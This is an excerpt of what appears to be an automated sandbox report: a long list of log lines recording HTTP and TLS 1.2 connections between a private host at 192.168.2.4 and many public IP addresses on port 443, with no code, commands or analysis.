Source: unknown	Network traffic detected: HTTP traffic on port 63790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51393
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51392
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64212
Source: unknown	Network traffic detected: HTTP traffic on port 56967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63127
Source: unknown	Network traffic detected: HTTP traffic on port 59969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52009
Source: unknown	Network traffic detected: HTTP traffic on port 54797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51156
Source: unknown	Network traffic detected: HTTP traffic on port 51244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61563 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52247
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52252
Source: unknown	Network traffic detected: HTTP traffic on port 52284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64223
Source: unknown	Network traffic detected: HTTP traffic on port 62074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63480 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56859
Source: unknown	Network traffic detected: HTTP traffic on port 52296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56613
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56614
Source: unknown	Network traffic detected: HTTP traffic on port 61241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56615
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56616
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51165
Source: unknown	Network traffic detected: HTTP traffic on port 59523 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54437
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54679
Source: unknown	Network traffic detected: HTTP traffic on port 56979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56611
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51168
Source: unknown	Network traffic detected: HTTP traffic on port 52639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59579 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53593
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53591
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52261
Source: unknown	Network traffic detected: HTTP traffic on port 59625 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55533
Source: unknown	Network traffic detected: HTTP traffic on port 63011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52273
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52439
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52437
Source: unknown	Network traffic detected: HTTP traffic on port 57466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51584
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54610
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51582
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51341
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51583
Source: unknown	Network traffic detected: HTTP traffic on port 51119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54612
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52434
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62238
Source: unknown	Network traffic detected: HTTP traffic on port 53802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60297
Source: unknown	Network traffic detected: HTTP traffic on port 55333 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63447 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54363 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63322
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62235
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51119
Source: unknown	Network traffic detected: HTTP traffic on port 56613 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52448
Source: unknown	Network traffic detected: HTTP traffic on port 53836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51595
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51596
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52682
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 56063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51114
Source: unknown	Network traffic detected: HTTP traffic on port 51392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53780
Source: unknown	Network traffic detected: HTTP traffic on port 51517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61396
Source: unknown	Network traffic detected: HTTP traffic on port 64804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53306
Source: unknown	Network traffic detected: HTTP traffic on port 61113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62020
Source: unknown	Network traffic detected: HTTP traffic on port 65090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54632
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57900
Source: unknown	Network traffic detected: HTTP traffic on port 62234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50280
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 54807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65524
Source: unknown	Network traffic detected: HTTP traffic on port 51655 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52229
Source: unknown	Network traffic detected: HTTP traffic on port 52247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56822
Source: unknown	Network traffic detected: HTTP traffic on port 65524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53316
Source: unknown	Network traffic detected: HTTP traffic on port 64315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51380
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64442
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62022
Source: unknown	Network traffic detected: HTTP traffic on port 63080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62027
Source: unknown	Network traffic detected: HTTP traffic on port 52682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58858
Source: unknown	Network traffic detected: HTTP traffic on port 52252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52086
Source: unknown	Network traffic detected: HTTP traffic on port 61772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54022
Source: unknown	Network traffic detected: HTTP traffic on port 64757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64077
Source: unknown	Network traffic detected: HTTP traffic on port 59434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64076
Source: unknown	Network traffic detected: HTTP traffic on port 55203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59718
Source: unknown	Network traffic detected: HTTP traffic on port 51156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58623
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55114
Source: unknown	Network traffic detected: HTTP traffic on port 65526 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58623 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56217
Source: unknown	Network traffic detected: HTTP traffic on port 62238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53197
Source: unknown	Network traffic detected: HTTP traffic on port 59061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53190
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60954
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61819
Source: unknown	Network traffic detected: HTTP traffic on port 52308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56234
Source: unknown	Network traffic detected: HTTP traffic on port 52367 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56471
Source: unknown	Network traffic detected: HTTP traffic on port 63197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62084
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55306
Source: unknown	Network traffic detected: HTTP traffic on port 51564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52279
Source: unknown	Network traffic detected: HTTP traffic on port 52448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52284
Source: unknown	Network traffic detected: HTTP traffic on port 65047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65103
Source: unknown	Network traffic detected: HTTP traffic on port 52073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60905
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51601 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56401
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57733
Source: unknown	Network traffic detected: HTTP traffic on port 55006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52296
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52051
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52294
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53382
Source: unknown	Network traffic detected: HTTP traffic on port 53822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61423 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63192
Source: unknown	Network traffic detected: HTTP traffic on port 52051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63197
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64044
Source: unknown	Network traffic detected: HTTP traffic on port 63199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57504
Source: unknown	Network traffic detected: HTTP traffic on port 65059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55329
Source: unknown	Network traffic detected: HTTP traffic on port 63015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52343 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56611 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65140
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65382
Source: unknown	Network traffic detected: HTTP traffic on port 51250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65142
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55333
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56664
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53159
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58610
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52073
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55581

Source: unknown	HTTPS traffic detected: 91.213.233.138:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.215.49:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.88.149:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.230.63.107:443 -> 192.168.2.4:50831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.4.150:443 -> 192.168.2.4:51165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:50837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:51156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:51262 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:51393 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.100.42:443 -> 192.168.2.4:51478 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.32:443 -> 192.168.2.4:51505 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.163.227.170:443 -> 192.168.2.4:51380 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.59.243.225:443 -> 192.168.2.4:51306 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.25:443 -> 192.168.2.4:51649 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:51595 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.230.63.107:443 -> 192.168.2.4:51564 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.59.243.225:443 -> 192.168.2.4:51674 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 213.186.33.19:443 -> 192.168.2.4:51480 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.49.101.57:443 -> 192.168.2.4:51641 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 83.98.155.23:443 -> 192.168.2.4:51517 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.152:443 -> 192.168.2.4:50884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.49.23.144:443 -> 192.168.2.4:51819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.20.103.147:443 -> 192.168.2.4:51660 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.20.214.243:443 -> 192.168.2.4:50834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.20.204:443 -> 192.168.2.4:52051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.32:443 -> 192.168.2.4:52073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.64.163.50:443 -> 192.168.2.4:51257 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.160.0.164:443 -> 192.168.2.4:51392 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.19.254.237:443 -> 192.168.2.4:51340 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:52199 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.211:443 -> 192.168.2.4:52252 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.56.74.212:443 -> 192.168.2.4:52261 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.230.63.171:443 -> 192.168.2.4:52279 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:52310 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.252.146.15:443 -> 192.168.2.4:52294 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:52376 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.215.248.230:443 -> 192.168.2.4:52284 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 209.126.24.60:443 -> 192.168.2.4:52160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 64.91.249.20:443 -> 192.168.2.4:52273 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.49.23.145:443 -> 192.168.2.4:52434 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.96.160.139:443 -> 192.168.2.4:52323 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.28.100:443 -> 192.168.2.4:51655 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.103.16.167:443 -> 192.168.2.4:52439 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:52987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 54.69.113.134:443 -> 192.168.2.4:52901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.128.72.24:443 -> 192.168.2.4:52661 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.100:443 -> 192.168.2.4:53047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.72.0.94:443 -> 192.168.2.4:52682 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 157.112.187.45:443 -> 192.168.2.4:53087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:53190 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:53286 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.42:443 -> 192.168.2.4:53316 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.25:443 -> 192.168.2.4:53159 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:53382 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.163.227.170:443 -> 192.168.2.4:53406 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.45.112.177:443 -> 192.168.2.4:53279 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.33.163.4:443 -> 192.168.2.4:53306 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:53593 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.185.159.144:443 -> 192.168.2.4:53591 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.74:443 -> 192.168.2.4:53703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.197.192.55:443 -> 192.168.2.4:53691 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.26.43.131:443 -> 192.168.2.4:53098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:53693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.168.2.4:53691 -> 15.197.192.55:443 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:53822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.2:443 -> 192.168.2.4:53953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:54038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.152:443 -> 192.168.2.4:53806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:54074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 83.98.155.23:443 -> 192.168.2.4:54072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:54363 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.173.180.22:443 -> 192.168.2.4:54071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:54790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.2:443 -> 192.168.2.4:54807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:54797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.32:443 -> 192.168.2.4:54778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.223.105.230:443 -> 192.168.2.4:54850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:54905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:54808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 205.178.187.19:443 -> 192.168.2.4:54747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 209.126.24.60:443 -> 192.168.2.4:54679 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.181.211:443 -> 192.168.2.4:55114 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.8.178.81:443 -> 192.168.2.4:55051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.20.204:443 -> 192.168.2.4:55211 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.74:443 -> 192.168.2.4:55203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.152:443 -> 192.168.2.4:54780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:55204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:55213 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.20.204:443 -> 192.168.2.4:55292 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.45.112.177:443 -> 192.168.2.4:55306 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:55329 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.42:443 -> 192.168.2.4:55305 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:55212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.7.37:443 -> 192.168.2.4:55420 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 108.163.227.170:443 -> 192.168.2.4:55333 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:55444 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.72.0.94:443 -> 192.168.2.4:55287 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 66.96.160.139:443 -> 192.168.2.4:55581 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.227.38.32:443 -> 192.168.2.4:55448 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:55447 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:55445 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.34.228.100:443 -> 192.168.2.4:55113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.185.159.144:443 -> 192.168.2.4:55480 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 96.45.112.177:443 -> 192.168.2.4:55533 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 205.178.187.19:443 -> 192.168.2.4:55888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.215.248.230:443 -> 192.168.2.4:55997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 209.126.24.60:443 -> 192.168.2.4:56294 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.72.0.94:443 -> 192.168.2.4:56401 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.197.192.55:443 -> 192.168.2.4:56485 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 205.178.187.19:443 -> 192.168.2.4:56611 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.8.178.81:443 -> 192.168.2.4:56664 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:56615 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.197.192.55:443 -> 192.168.2.4:56613 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:56616 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.195:443 -> 192.168.2.4:56614 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.60.103.25:443 -> 192.168.2.4:56750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.33.130.190:443 -> 192.168.2.4:56752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.87.45:443 -> 192.168.2.4:56822 version: TLS 1.2
